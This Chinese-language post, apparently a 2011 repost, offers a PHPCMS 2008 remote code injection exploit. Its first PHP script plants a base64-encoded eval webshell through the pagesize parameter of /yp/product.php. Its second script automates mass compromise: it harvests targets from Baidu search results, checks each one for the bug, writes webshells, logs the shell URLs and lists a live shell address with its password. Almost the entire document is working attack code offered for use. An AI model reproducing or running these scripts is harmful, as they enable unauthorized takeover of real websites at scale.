phpcms 2008最新0day加批量EXP代码

积木网络2011年11月

直接GETSHELL。一句话密码为c

EXP:

#!/usr/bin/php

<?php

print_r('

+---------------------------------------------------------------------------+

PHPCMS Remote Code Inject GetShell Exploit

Google Dork:Powered by Phpcms 2008

code by secr

+---------------------------------------------------------------------------+

');

if ($argc < 3) {

    print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' host path

host:      target server (ip/hostname)

path:      path to phpcms

Example:

php '.$argv[0].' localhost /phpcms/

+---------------------------------------------------------------------------+

');

    exit;

}

error_reporting(0);  

set_time_limit(0); 

$host = $argv[1];

$path = $argv[2];

$exp ='/yp/product.php?view_type=1&catid=&pagesize={${fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}&areaname=0&order=';

 

 

//检测是否存在漏洞

echo "[+] Try to determine the Bug....n";

$returnstr=httpRequestGET('/yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order=');

if(preg_match('/(php.ini)/i',$returnstr)){

   echo("[+] This site has Bug!We Will Be Try To Exploit Itn");

    }

    else

    {

    exit("[-] Exploit Failed! This site has No Bug!n");

}

//如果存在漏洞，就发送EXP Getshell

echo "[+] Try to create webshell....n";

    httpRequestGET($exp);

    $content=httpRequestGET("/yp/shell.php");

//发送EXP后，在获取的shell检测时候页面里有OK字符，如果有，则GETWebshell成功。

//print_r($content);

if(strpos($content,'ok')){

    echo "[+] Expoilt successfully....n";

    echo "[+] Webshell:http://$host{$path}yp/shell.phpn";

}else{

    exit("[-] Exploit Failed!n");

}

 

//模拟POST或者GET请求函数。

function httpRequestGET($url){

    global  $host, $path;

    $method=$method?'POST':'GET';

    $payload = $method." ".$path.$url." HTTP/1.1rn";

    $payload .= "Accept: */*rn"; 

    $payload .= "User-Agent: Payb-Agentrn"; 

    $payload .= "Host: " . $host . "rn"; 

    $payload .= "Connection: Closernrn"; 

    $fp = fsockopen(gethostbyname($host), 80);

    if (!$fp) {

        echo 'No response from '.$host; die;

    }

    fputs($fp, $payload);

        $resp = '';

            while ($fp && !feof($fp))

        $resp .= fread($fp, 1024);

    return $resp; 

}

?>

批量的EXP如下，这威力很大。请各位大牛自重 。

 

<?php

 

error_reporting(E_ERROR);

 

set_time_limit(0);

 

 

 

$keyword='inurl:about/joinus' ; // 批量关键字

 

$timeout = 1; 

 

$stratpage = 1; 

 

$lastpage = 10000000; 

 

for ($i=$stratpage ; $i<=$lastpage ; $i++ ){

 

$array=ReadBaiduList($keyword,$timeout,$i);

 

foreach ($array as $url ){

 

$url_list=file('url.txt');

 

if (in_array("$urlrn",$url_list)){

 

echo "[-]  Links repeatn";

 

      }else{

 

$fp = @fopen('url.txt', 'a'); 

 

@fwrite($fp, $url."rn");

 

@fclose($fp);

 

print_r("

 

[-]  Get ...... $urlrn");

 

if(okbug($url)){

 

$exploit=exploit($url);

 

 

 

$ors=okor($url);

 

if ($ors){

 

echo "[*]  Shell:-> ".$url."/yp/fuck.phpn"; 

 

$fp = @fopen('shell.txt', 'a');

 

@fwrite($fp, $url."/yp/fuck.phprn");

 

@fclose($fp);

 

 

 

         }

 

      }else{

 

 

 

          print "[-]  No Bug!n";

 

          }          

 

        }

 

   }

 

 }

 

 

 

function exploit($url){ 

 

$host=$url;  

 

$port="80"; 

 

$content ='a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7';

 

$data =  'POST /yp/product.php?pagesize=${${@eval%28$_POST[a]%29}} HTTP/1.1'."rn"; 

 

$data .= "X-Forwarded-For: 199.1.88.29rn";

 

$data .= "Referer: http://$hostrn";
 

$data .= "Content-Type: application/x-www-form-urlencodedrn";

 

$data .= "User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0rn";

 

$data .= "Host: $hostrn";

 

$data .= "Content-Length: ".strlen($content)."rn";

 

$data .= "Cache-Control: no-cachernrn";

 

$data .= $content."rn";

 

$ock=fsockopen($host,$port);

 

if (!$ock) {

 

echo "[*]  No response from $hostn";

 

}

 

fwrite($ock,$data);

 

while (!feof($ock)) {

 

$exp=fgets($ock, 1024);

 

return $exp;

 

}

 

}

 

 

 

function okor($host){  

 

$tmp = array();

 

$data = '';

 

$fp = @fsockopen($host,80,$errno,$errstr,60);

 

@fputs($fp,"GET /yp/fuck.php HTTP/1.1rnHost:$hostrnConnection: Closernrn");

 

while ($fp && !feof($fp))

 

$data .= fread($fp, 102400);

 

@fclose($fp);

 

if (strpos($data, '200') !== false) {

 

return         true;

 

}else{

 

return false;

 

}

 

}

 

function okbug($host){  

 

$tmp = array();

 

$data = '';

 

$fp = @fsockopen($host,80,$errno,$errstr,60);

 

@fputs($fp,'GET /yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order= HTTP/1.1'."rnHost:$hostrnConnection: Closernrn");

 

while ($fp && !feof($fp))

 

$data .= fread($fp, 102400);

 

@fclose($fp);

 

if(preg_match('/(php.ini)/i',$data)) {

 

return         true;

 

}else{

 

return false;

 

}

 

}

 

 

 

function ReadBaiduList($keyword,$timeout,$nowpage) 

 

{

 

$tmp = array();

 

//$data = '';

 

$nowpage = ($nowpage-1)*10;

 

$fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);

 

@fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1rnHost:www.baidu.comrnConnection: Closernrn");

 

while ($fp && !feof($fp))

 

$data .= fread($fp, 1024);

 

@fclose($fp);

 

preg_match_all("/})" href="http://([^~]*?)" target="_blank"/i",$data,$tmp);

 

$num = count($tmp[1]);

 

$array = array();

 

for($i = 0;$i < $num;$i++)

 

{

 

$row = explode('/',$tmp[1][$i]);

 

$array[] = str_replace('http://','',$row[0]);

 

}

 

return $array;

 

}

 

?>

批量后SHELL的地址：http://www.linuxso.com/yp/fuck.php 一句话密码cfking

一句话利用工具  http://www.linuxso.com/sb.htm

本文转自：linux安全网